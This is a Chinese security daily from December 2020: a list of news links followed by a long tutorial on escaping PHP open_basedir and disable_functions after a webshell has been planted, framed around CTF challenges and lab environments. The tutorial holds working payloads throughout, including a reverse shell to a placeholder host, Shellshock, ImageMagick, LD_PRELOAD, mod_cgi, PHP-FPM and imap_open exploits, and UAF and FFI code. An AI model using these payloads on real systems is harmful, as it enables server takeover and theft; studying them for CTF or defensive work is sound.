网络安全日报 2020年12月25日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、FireEye被盗工具所利用的漏洞可以攻击数百万台设备 https://securityaffairs.co/wordpress/112588/hacking/fireeye-tools-exploits.html 2、Project Zero公开微软超90天未修复Windows 零日漏洞信息 https://securityaffairs.co/wordpress/112578/hacking/google-windows-zero-day-flaw.html 3、QNAP修复了高危的QTS,QES和QuTS漏洞 https://www.bleepingcomputer.com/news/security/qnap-fixes-high-severity-qts-qes-and-quts-hero-vulnerabilities 4、佛蒙特州医院遭勒索软件攻击 https://www.securityweek.com/vermont-hospital-says-cyberattack-was-ransomware 5、钓鱼邮件冒充Chase的安全通知窃取用户凭据 https://www.bleepingcomputer.com/news/security/psa-active-chase-phishing-scam-pretends-to-be-fraud-alerts/ 6、研究人员发现Emotet僵尸网络的新恶意文档活动 https://cofense.com/emotet-is-back-for-the-holidays-with-updated-tactics/ 7、跨层攻击可用于DNS缓存中毒和设备跟踪 https://portswigger.net/daily-swig/cross-layer-attacks-new-hacking-technique-raises-dns-cache-poisoning-user-tracking-risk 8、F5 Labs报告称针对WordPress的暴破攻击中92%针对以色列网站 https://www.jpost.com/jpost-tech/92-percent-of-all-wordpress-attacks-are-on-israeli-sites-report-653015 9、UltraRank团伙针对数十个电子商务网站窃取支付卡数据 https://www.inforisktoday.com/ultrarank-targets-more-e-commerce-sites-a-15657 10、时尚购物社交网站21 Buttons泄露了数百万用户数据 https://www.hackread.com/fashion-marketplace-21-buttons-expose-users-data/
php中函数禁用绕过的原理与利用
是否遇到过费劲九牛二虎之力拿了webshell却发现连个scandir都执行不了?拿了webshell确实是一件很欢乐的事情,但有时候却仅仅只是一个小阶段的结束;本文将会以webshell作为起点从头到尾来归纳bypass disable function的各种姿势。 从phpinfo中获取可用信息 信息收集是不可缺少的一环;通常的,我们在通过前期各种工作成功执行代码 or 发现了一个phpinfo页面之后,会从该页面中搜集一些可用信息以便后续漏洞的寻找。 我谈谈我个人的几个偏向点: 版本号 最直观的就是php版本号(虽然版本号有时候会在响应头中出现),如我的机器上版本号为: PHP Version 7.2.9-1 那么找到版本号后就会综合看看是否有什么"版本专享"漏洞可以利用。 DOCUMENT_ROOT 接下来就是搜索一下DOCUMENT_ROOT取得网站当前路径,虽然常见的都是在/var/www/html,但难免有例外。 disable_functions 这是本文的重点,disable_functions顾名思义函数禁用,以笔者的kali环境为例,默认就禁用了如下函数: 如一些ctf题会把disable设置的极其恶心,即使我们在上传马儿到网站后会发现什么也做不了,那么此时的绕过就是本文所要讲的内容了。 open_basedir 该配置限制了当前php程序所能访问到的路径,如笔者设置了: <?php ini_set('open_basedir', '/var/www/html:' .'/tmp'); phpinfo(); 随后我们能够看到phpinfo中出现如下: 尝试scandir会发现列根目录失败。 <?php ini_set('open_basedir', '/var/www/html:' .'/tmp'); //phpinfo(); var_dump(scandir(".")); var_dump(scandir("/")); //array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) "index.html" [3]=> string(23) "index.nginx-debian.html" [4]=> string(11) "phpinfo.php" } bool(false) opcache 如果使用了opcache,那么可能达成getshell,但需要存在文件上传的点,直接看链接: https://www.cnblogs.com/xhds/p/13239331.htmlothers 如文件包含时判断协议是否可用的两个配置项: allow_url_include、allow_url_fopen 上传webshell时判断是否可用短标签的配置项: short_open_tag 还有一些会在下文中讲到。 bypass open_basedir 因为有时需要根据题目判断采用哪种bypass方式,同时,能够列目录对于下一步测试有不小帮助,这里列举几种比较常见的bypass方式,均从p神博客摘出,推荐阅读p神博客原文,这里仅作简略总结。 syslink https://www.php.net/manual/zh/function.symlink.phpsymlink ( string $target , string $link ) : bool symlink() 对于已有的 target 建立一个名为 link 的符号连接。 简单来说就是建立软链达成bypass。 代码实现如下: <?php symlink("abc/abc/abc/abc","tmplink"); symlink("tmplink/../../../../etc/passwd", "exploit"); unlink("tmplink"); mkdir("tmplink"); 首先是创建一个link,将tmplink用相对路径指向abc/abc/abc/abc,然后再创建一个link,将exploit指向tmplink/../../../../etc/passwd,此时就相当于exploit指向了abc/abc/abc/abc/../../../../etc/passwd,也就相当于exploit指向了./etc/passwd,此时删除tmplink文件后再创建tmplink目录,此时就变为/etc/passwd成功跨目录。 访问exploit即可读取到/etc/passwd。 glob 查找匹配的文件路径模式,是php自5.3.0版本起开始生效的一个用来筛选目录的伪协议 常用bypass方式如下: <?php $c = "glob:///*"; $a = new DirectoryIterator($c); foreach($a as $f){ echo($f->__toString().'<br>'); } ?> 但会发现比较神奇的是只能列举根目录下的文件。 chdir()与ini_set() chdir是更改当前工作路径。 mkdir('test'); chdir('test'); ini_set('open_basedir','..'); chdir('..');chdir('..');chdir('..');chdir('..'); ini_set('open_basedir','/'); echo file_get_contents('/etc/passwd'); 利用了ini_set的open_basedir的设计缺陷,可以用如下代码观察一下其bypass过程: <?php ini_set('open_basedir', '/var/www/html:' .'/tmp'); mkdir('test'); chdir('test'); ini_set('open_basedir','..'); printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir')); chdir('..');chdir('..');chdir('..');chdir('..'); ini_set('open_basedir','/'); printf('<b>open_basedir : %s </b><br bindtextdomain 该函数的第二个参数为一个文件路径,先看代码: <?php ini_set('open_basedir', '/var/www/html:' .'/tmp'); printf('<b>open_basedir: %s</b><br />', ini_get('open_basedir')); $re = bindtextdomain('xxx', '/etc/passwd'); var_dump($re); $re = bindtextdomain('xxx', '/etc/passw'); var_dump($re); //open_basedir: /var/www/html:/tmp //string(11) "/etc/passwd 可以看到当文件不存在时返回值为false,因为不支持通配符,该方法只能适用于linux下的暴力猜解文件。 Realpath 同样是基于报错,但realpath在windows下可以使用通配符<和>进行列举,脚本摘自p神博客: <?php ini_set('open_basedir', dirname(__FILE__)); printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir')); set_error_handler('isexists'); $dir = 'd:/test/'; $file = ''; $chars = 'abcdefghijklmnopqrstuvwxyz0123456789_'; for ($i=0; $i < strlen($chars); $i++) { $file = $dir . $chars[$i] . '<>< other 如命令执行事实上是不受open_basedir的影响的。 bypass disable function 蚁剑项目仓库中有一个各种disable的测试环境可以复现,需要环境的师傅可以选用蚁剑的环境。 https://github.com/AntSwordProject/AntSword-Labs黑名单突破 这个应该是最简单的方式,就是寻找替代函数来执行,如system可以采用如反引号来替代执行命令。 看几种常见用于执行系统命令的函数: system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,`` 当然了这些也常常出现在disable function中,那么可以寻找可以比较容易被忽略的函数,通过函数 or 函数组合拳来执行命令。 反引号:最容易被忽略的点,执行命令但回显需要配合其他函数,可以反弹shell pcntl_exec:目标机器若存在python,可用php执行python反弹shell <?php pcntl_exec("/usr/bin/python",array('-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("{ip}",{port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));?> ShellShock 原理 本质是利用bash破壳漏洞(CVE-2014-6271)。 影响范围在于bash 1.14 – 4.3 关键在于: 目前的bash脚本是以通过导出环境变量的方式支持自定义函数,也可将自定义的bash函数传递给子相关进程。一般函数体内的代码是不会被执行,但此漏洞会错误的将“{}”花括号外的命令进行执行。 本地验证方法: 在shell中执行下面命令: env x='() { :;}; echo Vulnerable CVE-2014-6271 ' bash -c "echo test" 执行命令后,如果显示Vulnerable CVE-2014-6271,证系统存在漏洞,可改变echo Vulnerable CVE-2014-6271为任意命令进行执行。 详见:https://www.antiy.com/response/CVE-2014-6271.html 因为是设置环境变量,而在php中存在着putenv可以设置环境变量,配合开启子进程来让其执行命令。 利用 https://www.exploit-db.com/exploits/35146<?php function shellshock($cmd) { $tmp = tempnam(".","data"); putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1"); error_log('a',1); $output = @file_get_contents($tmp); @unlink($tmp); if($output != "") return $output; else return "No output, or not vuln."; } echo sh 将exp上传后即可执行系统命令bypass disable,就不做过多赘述。 ImageMagick 原理 漏洞源于CVE-2016-3714,ImageMagick是一款图片处理程序,但当用户传入一张恶意图片时,会造成命令注入,其中还有其他如ssrf、文件读取等,当然最致命的肯定是命令注入。 而在漏洞出来之后各位师傅联想到php扩展中也使用了ImageMagick,当然也就存在着漏洞的可能,并且因为漏洞的原理是直接执行系统命令,所以也就不存在是否被disable的可能,因此可以被用于bypass disable。 关于更加详细的漏洞分析请看p神的文章:https://www.leavesongs.com/PENETRATION/CVE-2016-3714-ImageMagick.html,我直接摘取原文中比较具有概括性的漏洞说明: 漏洞报告中给出的POC是利用了如下的这个委托: <delegate decode="https" command="&quot;curl&quot; -s -k -o &quot;%o&quot; &quot;https:%M&quot;"/> 它在解析https图片的时候,使用了curl命令将其下载,我们看到%M被直接放在curl的最后一个参数内。ImageMagick默认支持一种图片格式,叫mvg,而mvg与svg格式类似,其中是以文本形式写入矢量图的内容,而这其中就可以包含https处理过程。 所以我们可以构造一个.mvg格式的图片(但文件名可以不为.mvg,比如下图中包含payload的文件的文件名为vul.gif,而ImageMagick会根据其内容识别为mvg图片),并在https://后面闭合双引号,写入自己要执行的命令: push graphic-context viewbox 0 0 640 480 fill 'url(https://"|id; ")' pop graphic-context 这样,ImageMagick在正常执行图片转换、处理的时候就会触发漏洞。 漏洞的利用极其简单,只需要构造一张恶意的图片,new一个类即可触发该漏洞: <?php new Imagick('test.mvg'); 利用 那么依旧以靶场题为例,依旧以拥有一句话马儿为前提,我们首先上传一个图片,如上面所述的我们图片的后缀无需mvg,因此上传一个jpg图片: push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'https://127.0.0.1/x.php?x=`cat /etc/passwd > /var/www/html/success`' pop graphic-context 那么因为我们看不到回显,所以可以考虑将结果写入到文件中,或者直接执行反弹shell。 然后如上上传一个poc.php: <?php new Imagick('vul.jpg'); 访问即可看到我们写入的文件。 那么这一流程颇为繁琐(当我们需要多次执行命令进行测试时就需要多次调整图片内容),因此我们可以写一个php马来动态传入命令: <?php $command = $_GET['cmd']; if ($command == '') { $command = 'whoami>success'; } $exploit = <<<EOF push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'https://127.0.0.1/x.php?x=`$command`' pop graphic-context EOF; file_put_contents("test.mvg", $exploit); $thumb = new Imagick(); $thumb->r LD_PRELOAD 喜闻乐见的LD_PRELOAD,这是我学习web时遇到的第一个bypass disable的方式,个人觉得很有意思。 原理 LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。 而我们bypass的关键就是利用LD_PRELOAD加载库优先的特点来让我们自己编写的动态链接库优先于正常的函数库,以此达成执行system命令。 因为id命令比较易于观察,网上文章也大同小异采用了id命令下的getuid/getgid来做测试,为做个试验笔者换成了 我们先看看id命令的调用函数: strace -f /usr/bin/id Resulut: close(3) = 0 geteuid32() = 0 getuid32() = 0 getegid32() = 0 getgid32() = 0 (省略....) getgroups32(0, NULL) = 1 getgroups32(1, [0]) = 1 这里可以看到有不少函数可以编写,我选择getgroups32,我们可以用man命令查看一下函数的定义: man getgroups32 看到这一部分: 得到了函数的定义,我们只需要编写其内的getgroups即可,因此我编写一个hack.c: #include <stdlib.h> #include <sys/types.h> #include <unistd.h> int getgroups(int size, gid_t list[]){ unsetenv("LD_PRELOAD"); system("echo 'i hack it'"); return 1; } 然后使用gcc编译成一个动态链接库: gcc -shared -fPIC hack.c -o hack.so 使用LD_PRELOAD加载并执行id命令,我们会得到如下的结果: 再来更改一下uid测试,我们先adduser一个新用户hhhm,执行id命令结果如下: 然后根据上面的步骤取得getuid32的函数定义,据此来编写一个hack.c: #include <stdlib.h> #include <dlfcn.h> #include <unistd.h> #include <sys/types.h> uid_t geteuid( void ) { return 0; } uid_t getuid( void ) { return 0; } uid_t getgid( void ) { return 0; } gcc编译后,执行,结果如下: 可以看到我们的uid成功变为1,且更改为root了,当然了因为我们的hack.so是root权限编译出来的,在一定条件下也许可以用此种方式来提权,网上也有相关文章,不过我没实际尝试过就不做过分肯定的说法。 下面看看在php中如何配合利用达成bypass disable。 php中的利用 php中主要是需要配合putenv函数,如果该函数被ban了那么也就没他什么事了,所以bypass前需要观察disable是否ban掉putenv。 php中的利用根据大师傅们的文章我主要提取出下面几种利用方式,其实质都是大同小异,需要找出一个函数然后采用相同的机制覆盖掉其函数进而执行系统命令。 那么我们受限于disable,system等执行系统命令的函数无法使用,而若想要让php调用外部程序来进一步达成执行系统命令从而达成bypass就只能依赖与php解释器本身。 因此有一个大前提就是需要从php解释器中启动子进程。 老套路之mail 先选取一台具有sendmail的机器,笔者是使用kali,先在php中写入如下代码 <?php mail("","","",""); 同样的可以使用strace来追踪函数的执行过程。 strace -f php phpinfo.php 2>&1 | grep execve 可以看到这里调用了sendmail,与网上的文章同样的我们可以追踪sendmail来查看其调用过程,或者使用readelf可以查看其使用函数: strace sendmail 那么以上面的方式编写并编译一个动态链接库然后利用LD_PRELOAD去执行我们的命令,这就是老套路的利用。 因为没有回显,为方便查看效果我写了一个ls>test,因此hack.c如下: #include <stdlib.h> #include <dlfcn.h> #include <unistd.h> #include <sys/types.h> uid_t geteuid( void ) { system("ls>test"); return 0; } uid_t getuid( void ) { return 1; } uid_t getgid( void ) { return 0; } 同样的gcc编译后,页面写入如下: <?php putenv("LD_PRELOAD=./hack.so"); mail("","","",""); ?> 访问页面得到运行效果如下: 再提一个我在利用过程中走错的点,这里为测试,我换用一台没有sendmail的ubuntu: 但如果我们按照上面的步骤直接追踪index的执行而不过滤选取execve会发现同样存在着geteuid,并且但这事实上是sh调用的而非mail调用的,因此如果我们使用php index.php来调用会发现system执行成功,但如果我们通过页面来访问则会发现执行失败,这是一个在利用过程中需要注意的点,这也就是为什么我们会使用管道符来选取execve。 第一个execve为php解释器启动的进程,而后者即为我们所需要的sendmail子进程。 error_log 同样的除了mail会调用sendmail之外,还有error_log也会调用,如图: ps:当error_log的type为1时就会调用到sendmail。 因此上面针对于mail函数的套路对于error_log同样适用,however,我们会发现此类劫持都只是针对某一个函数,而前面所做的都是依赖与sendmail,而像目标机器如果不存在sendmail,那么前面的做法就完全无用。 yangyangwithgnu师傅在其文https://www.freebuf.com/articles/web/192052.html提到了我们不要局限于仅劫持某一函数,而应考虑劫持共享对象。 劫持共享对象 文中使用到了如下代码编写的库: #define _GNU_SOURCE #include <stdlib.h> #include <unistd.h> #include <sys/types.h> __attribute__ ((__constructor__)) void anything (void){ unsetenv("LD_PRELOAD"); system("ls>test"); } 那么关于__attribute__ ((__constructor__))个人理解是其会在共享库加载时运行,也就是程序启动时运行,那么这一步的利用同样需要有前面说到的启动子进程这一个大前提,也就是需要有类似于mail、Imagick可以令php解释器启动新进程的函数。 同样的将LD_PRELOAD指定为gcc编译的共享库,然后访问页面查看,会发现成功将ls写到test下(如果失败请检查写权限问题) 0ctf 2019中Wallbreaker Easy中的出题点就是采用了imagick在处理一些特定后缀文件时,会调用ffmpeg,也就是会开启子进程,从而达成加载共享库执行系统命令bypass disable。 Apache Mod CGI 前面的两种利用都需要putenv,如果putenv被ban了那么就需要这种方式,简单介绍一下原理。 原理 利用htaccess覆盖apache配置,增加cgi程序达成执行系统命令,事实上同上传htaccess解析png文件为php程序的利用方式大同小异。 mod cgi: 任何具有MIME类型application/x-httpd-cgi或者被cgi-script处理器处理的文件都将被作为CGI脚本对待并由服务器运行,它的输出将被返回给客户端。可以通过两种途径使文件成为CGI脚本,一种是文件具有已由AddType指令定义的扩展名,另一种是文件位于ScriptAlias目录中。 因此我们只需上传一个.htaccess: Options +ExecCGI //使运行cgi程序的执行 AddHandler cgi-script .test //将test后缀的文件解析为cgi程序 利用 利用就很简单了: 上传htaccess,内容为上文所给出的内容 上传a.test,内容为: #!/bin/bash echo&&ls 给a.test权限,访问即可得到执行结果。 PHP-FPM php-fpm相信有读者在配置php环境时会遇到,如使用nginx+php时会在配置文件中配置如下: location ~ .php$ { root html; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; } 那么看看百度百科中关于php-fpm的介绍: PHP-FPM(FastCGI Process Manager:FastCGI进程管理器)是一个PHPFastCGI管理器,对于PHP 5.3.3之前的php来说,是一个补丁包 [1] ,旨在将FastCGI进程管理整合进PHP包中。如果你使用的是PHP5.3.3之前的PHP的话,就必须将它patch到你的PHP源代码中,在编译安装PHP后才可以使用。 那么fastcgi又是什么?Fastcgi 是一种通讯协议,用于Web服务器与后端语言的数据交换。 原理 那么我们在配置了php-fpm后如访问http://127.0.0.1/test.php?test=1,那么会被解析为如下键值对: { 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'GET', 'SCRIPT_FILENAME': '/var/www/html/test.php', 'SCRIPT_NAME': '/test.php', 'QUERY_STRING': '?test=1', 'REQUEST_URI': '/test.php?test=1', 'DOCUMENT_ROOT': '/var/www/html', 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'RE 这个数组很眼熟,会发现其实就是$_SERVER里面的一部分,那么php-fpm拿到这一个数组后会去找到SCRIPT_FILENAME的值,对于这里的/var/www/html/test.php,然后去执行它。 前面笔者留了一个配置,在配置中可以看到fastcgi的端口是9000,监听地址是127.0.0.1,那么如果地址为0.0.0.0,也即是将其暴露到公网中,倘若我们伪造与fastcgi通信,这样就会导致远程代码执行。 那么事实上php-fpm通信方式有tcp也就是9000端口的那个,以及socket的通信,因此也存在着两种攻击方式。 socket方式的话配置文件会有如下: fastcgi_pass unix:/var/run/phpfpm.sock; 那么我们可以稍微了解一下fastcgi的协议组成,其由多个record组成,这里摘抄一下p神https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html中的一段结构体: typedef struct { /* Header */ unsigned char version; // 版本 unsigned char type; // 本次record的类型 unsigned char requestIdB1; // 本次record对应的请求id unsigned char requestIdB0; unsigned char contentLengthB1; // body体的大小 unsigned char contentLengthB0; unsigned char paddingLength; // 额外块大小 unsigned char reserve 可以看到record分为header以及body,其中header固定为8字节,而body由其contentLength决定,而paddingData为保留段,不需要时长度置为0。 而type的值从1-7有各种作用,当其type=4时,后端就会将其body解析成key-value,看到key-value可能会很眼熟,没错,就是我们前面看到的那一个键值对数组,也就是环境变量。 那么在学习漏洞利用之前,我们有必要了解两个环境变量, PHP_VALUE:可以设置模式为 PHP_INI_USER 和 PHP_INI_ALL 的选项 PHP_ADMIN_VALUE:可以设置所有选项(除了disable_function) 那么以p神文中的利用方式我们需要满足三个条件: 找到一个已知的php文件 利用上述两个环境变量将auto_prepend_file设置为php://input 开启php://input需要满足的条件:allow_url_include为on 此时熟悉文件包含漏洞的童鞋就一目了然了,我们可以执行任意代码了。 这里利用的情况为: 'PHP_VALUE': 'auto_prepend_file = php://input' 'PHP_ADMIN_VALUE': 'allow_url_include = On' 利用 我们先直接看phpinfo如何标识我们可否利用该漏洞进行攻击。 那么先以攻击tcp为例,倘若我们伪造nginx发送数据(fastcgi封装的数据)给php-fpm,这样就会造成任意代码执行漏洞。 p神已经写好了一个https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75,因为开放fastcgi为0.0.0.0的情况事实上同攻击内网相似,所以这里可以尝试一下攻击127.0.0.1也就是攻击内网的情况,那么事实上我们可以配合gopher协议来攻击内网的fpm,因为与本文主题不符就不多讲。 python a.py 127.0.0.1 -p 9000 /var/www/html/phpinfo.php -c '<?php echo `id`;exit;?>' 可以看到结果如图所示: 攻击成功后我们去查看一下phpinfo会看到如下: 也就是说我们构造的攻击包为: { 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'GET', 'SCRIPT_FILENAME': '/var/www/html/phpinfo.php', 'SCRIPT_NAME': '/phpinfo.php', 'QUERY_STRING': '', 'REQUEST_URI': '/phpinfo.php', 'DOCUMENT_ROOT': '/var/www/html', 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_ 很明显的前面所说的都是成立的;然而事实上我这里是没有加入disable的情况,我们往里面加入disable再尝试。 pkill php-fpm /usr/sbin/php-fpm7.0 -c /etc/php/7.0/fpm/php.ini 注意修改了ini文件后重启fpm需要指定ini。 我往disable里压了一个system: pcntl_alarm,system,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,p 然后再执行一下exp,可以发现被disable了: 因此此种方法还无法达成bypass disable的作用,那么不要忘了我们的两个php_value能够修改的可不仅仅只是auto_prepend_file,并且的我们还可以修改basedir来绕过;在先前的绕过姿势中我们是利用到了so文件执行扩展库来bypass,那么这里同样可以修改extension为我们编写的so库来执行系统命令,具体利用有师傅已经写了利用脚本,事实上蚁剑中的插件已经能实现了该bypass的功能了,那么下面我直接对蚁剑中插件如何实现bypass做一个简要分析。 在执行蚁剑的插件时会发现其在当前目录生成了一个.antproxy.php文件,那么我们后续的bypass都是通过该文件来执行,那么先看一下这个shell的代码: <?php function get_client_header(){ $headers=array(); foreach($_SERVER as $k=>$v){ if(strpos($k,'HTTP_')===0){ $k=strtolower(preg_replace('/^HTTP/', '', $k)); $k=preg_replace_callback('/_\w/','header_callback',$k); $k=preg_replace('/^_/','',$k); $k=str_replace('_','-',$k); if($k=='Host') continue; $ 定位到关键代码: $headers=get_client_header(); $host = "127.0.0.1"; $port = 60882; $errno = ''; $errstr = ''; $timeout = 30; $url = "/index.php"; if (!empty($_SERVER['QUERY_STRING'])){ $url .= "?".$_SERVER['QUERY_STRING']; }; $fp = fsockopen($host, $port, $errno, $errstr, $timeout); 可以看到它这里向60882端口进行通信,事实上这里蚁剑使用/bin/sh -c php -n -S 127.0.0.1:60882 -t /var/www/html开启了一个新的php服务,并且不使用php.ini,因此也就不存在disable了,那么我们在观察其执行过程会发现其还在tmp目录下上传了一个so文件,那么至此我们有理由推断出其通过攻击php-fpm修改其extension为在tmp目录下上传的扩展库,事实上从该插件的源码中也可以得知确实如此: 那么启动了该php server后我们的流量就通过antproxy.php转发到无disabel的php server上,此时就成功达成bypass。 加载so扩展 前面虽然解释了其原理,但毕竟理论与实践有所区别,因此我们可以自己打一下extension进行测试。 so文件可以从https://github.com/AntSwordProject/ant_php_extension中获取,根据其提示编译即可获取ant.so的库,修改php-fpm的php.ini,加入: extension=/var/www/html/ant.so 然后重启php-fpm,如果使用如下: <?php antsystem("ls"); 成功执行命令时即说明扩展成功加载,那么我们再把ini恢复为先前的样子,我们尝试直接攻击php-fpm来修改其配置项。 以脚本来攻击: import requests sess = requests.session() def execute_php_code(s): res = sess.post('http://192.168.242.5/index.php', data={"a": s}) return res.text code = ''' class AA { const VERSION_1 = 1; const BEGIN_REQUEST = 1; const ABORT_REQUEST = 2; const END_REQUEST = 3; const PARAMS = 4; const STDIN = 5; c 通过修改其内的code即可,效果如下: 漏洞利用成功。 com组件 原理&利用 需要目标机器满足下列三个条件: com.allow_dcom = true extension=php_com_dotnet.dll php>5.4 此时com组件开启,我们能够在phpinfo中看到: 要知道原理还是直接从exp看起: <?php $command = $_GET['cmd']; $wsh = new COM('WScript.shell'); $exec = $wsh->exec("cmd /c".$command); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; ?> 首先,以new COM('WScript.shell')来生成一个com对象,里面的参数也可以为Shell.Application(笔者的win10下测试失败)。 然后这个com对象中存在着exec可以用来执行命令,而后续的方法则是将命令输出,该方式的利用还是较为简单的,就不多讲了。 imap_open 该bypass方式为CVE-2018-19518 原理 imap扩展用于在PHP中执行邮件收发操作,而imap_open是一个imap扩展的函数,在使用时通常以如下形式: $imap = imap_open('{'.$_POST['server'].':993/imap/ssl}INBOX', $_POST['login'], $_POST['password']); 那么该函数在调用时会调用rsh来连接远程shell,而在debian/ubuntu中默认使用ssh来代替rsh的功能,也即是说在这俩系统中调用的实际上是ssh,而ssh中可以通过-oProxyCommand=来调用命令,该选项可以使得我们在连接服务器之前先执行命令,并且需要注意到的是此时并不是php解释器在执行该系统命令,其以一个独立的进程去执行了该命令,因此我们也就成功的bypass disable function了。 那么我们可以先在ubuntu上试验一下: ssh -oProxyCommand="ls>test" 192.168.2.1 利用 环境的话vulhub上有,其中给出了poc: POST / HTTP/1.1 Host: your-ip Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 125 hostname=x+-oProxyCommand%3decho% 我们可以发现其中使用了%09来绕过空格,以base64的形式来执行我们的命令,那么我这里再验证一下: hostname=x+-oProxyCommand%3decho%09bHM%2BdGVzdAo%3D|base64%09-d|sh}&username=111&password=222 //ls>test 会发现成功写入了一个test,漏洞利用成功,那么接下来就是各种肆意妄为了。 三种UAF EXP在:https://github.com/mm0r1/exploits 三种uaf分别是: Json Serializer UAF GC UAF Backtrace UAF 关于uaf的利用因为涉及到二进制相关的知识,而笔者是个web狗,因此暂时只会用exp打打,因此这里就不多说,就暂时先稍微提一下三种uaf的利用版本及其概述//其实我就是照搬了exp里面的说明,读者可以看exp作者的说明就行了。 Json Serializer UAF 漏洞出现的版本在于: 7.1 - all versions to date 7.2 < 7.2.19 (released: 30 May 2019) 7.3 < 7.3.6 (released: 30 May 2019) 漏洞利用json在序列化中的堆溢出触发bypass,漏洞为https://bugs.php.net/bug.php?id=77843 GC UAF 漏洞出现的版本在于: 7.0 - all versions to date 7.1 - all versions to date 7.2 - all versions to date 7.3 - all versions to date 漏洞利用的是php garbage collector(垃圾收集器)程序中的堆溢出达成bypass,漏洞为:https://bugs.php.net/bug.php?id=72530 Backtrace UAF 漏洞出现的版本在于: 7.0 - all versions to date 7.1 - all versions to date 7.2 - all versions to date 7.3 < 7.3.15 (released 20 Feb 2020) 7.4 < 7.4.3 (released 20 Feb 2020) 漏洞利用的是 debug_backtrace这个函数,可以利用该函数的漏洞返回已经销毁的变量的引用达成堆溢出,漏洞为https://bugs.php.net/bug.php?id=76047 利用 利用的话exp或者蚁剑上都有利用插件了,这里不多讲,可以上ctfhub测试。 SplDoublyLinkedList UAF 概述 这个UAF是在先知上看到的,引用https://xz.aliyun.com/t/8355来概述: 可以看到,删除元素的操作被放在了置空 traverse_pointer 指针前。 所以在删除一个对象时,我们可以在其构析函数中通过 current 访问到这个对象,也可以通过 next 访问到下一个元素。如果此时下一个元素已经被删除,就会导致 UAF。 PHP 部分(仅在 7.4.10、7.3.22、7.2.34 版本测试) exp exp同样出自原文。 php部分: <?php error_reporting(0); $a = str_repeat("T", 120 * 1024 * 1024); function i2s(&$a, $p, $i, $x = 8) { for($j = 0;$j < $x;$j++) { $a[$p + $j] = chr($i & 0xff); $i >>= 8; } } function s2i($s) { $result = 0; for ($x = 0;$x < strlen($s);$x++) { $result <<= 8; $result |= ord($s[$x]); } return $result; } python部分: # -*- coding:utf8 -*- import requests import base64 import time import urllib from libnum import n2s def bomb1(_url): content = None count = 1 addr = 0x7f0000000000 # change here and bomb1() in php if failed while True: try: addr = addr + 0x10000000 / 2 if count % 100 == 0: print "[+]Bomb " + str(co ffi扩展  ffi扩展笔者初见于TCTF/0CTF 2020中的easyphp,当时是因为非预期解拿到flag发现了ffi三个字母才了解到php7.4中多了ffi这种东西。 原理 PHP FFI(Foreign Function interface),提供了高级语言直接的互相调用,而对于PHP而言,FFI让我们可以方便的调用C语言写的各种库。 也即是说我们可以通过ffi来调用c语言的函数从而绕过disable的限制,我们可以简单使用一个示例来体会一下: $ffi = FFI::cdef("int system(const char *command);"); $ffi->system("whoami >/tmp/1"); echo file_get_contents("/tmp/1"); @unlink("/tmp/1"); 输出如下: 那么这种利用方式可能出现的场景还不是很多,因此笔者稍微讲解一下。 首先是cdef: $ffi = FFI::cdef("int system(const char *command);"); 这一行是创建一个ffi对象,默认就会加载标准库,以本行为例是导入system这个函数,而这个函数理所当然是存在于标准库中,那么我们若要导入库时则可以以如下方式: $ffi = FFI::cdef("int system(const char *command);","libc.so.6"); 可以看看其函数原型: FFI::cdef([string $cdef = "" [, string $lib = null]]): FFI 取得了ffi对象后我们就可以直接调用函数了: $ffi->system("whoami >/tmp/1"); 之后的代码较为简单就不多讲,那么接下来看看实际应用该从哪里入手。 利用 以tctf的题目为例,题目直接把cdef过滤了,并且存在着basedir,但我们可以使用之前说过bypass basedir来列目录,逐一尝试能够发现可以使用glob列根目录目录: <?php $c = "glob:///*"; $a = new DirectoryIterator($c); foreach($a as $f){ echo($f->__toString().'<br>'); } ?> 可以发现根目录存在着flag.h跟so: 因为后面环境没有保存,笔者这里简单复述一下当时题目的情况(仅针对预期解)。 发现了flag.h之后查看ffi相关文档能够发现一个load方法可以加载头文件。 于是有了如下: $ffi = FFI::load("/flag.h"); 但当我们想要打印头文件来获取其内存在的函数时会尴尬的发现如下: 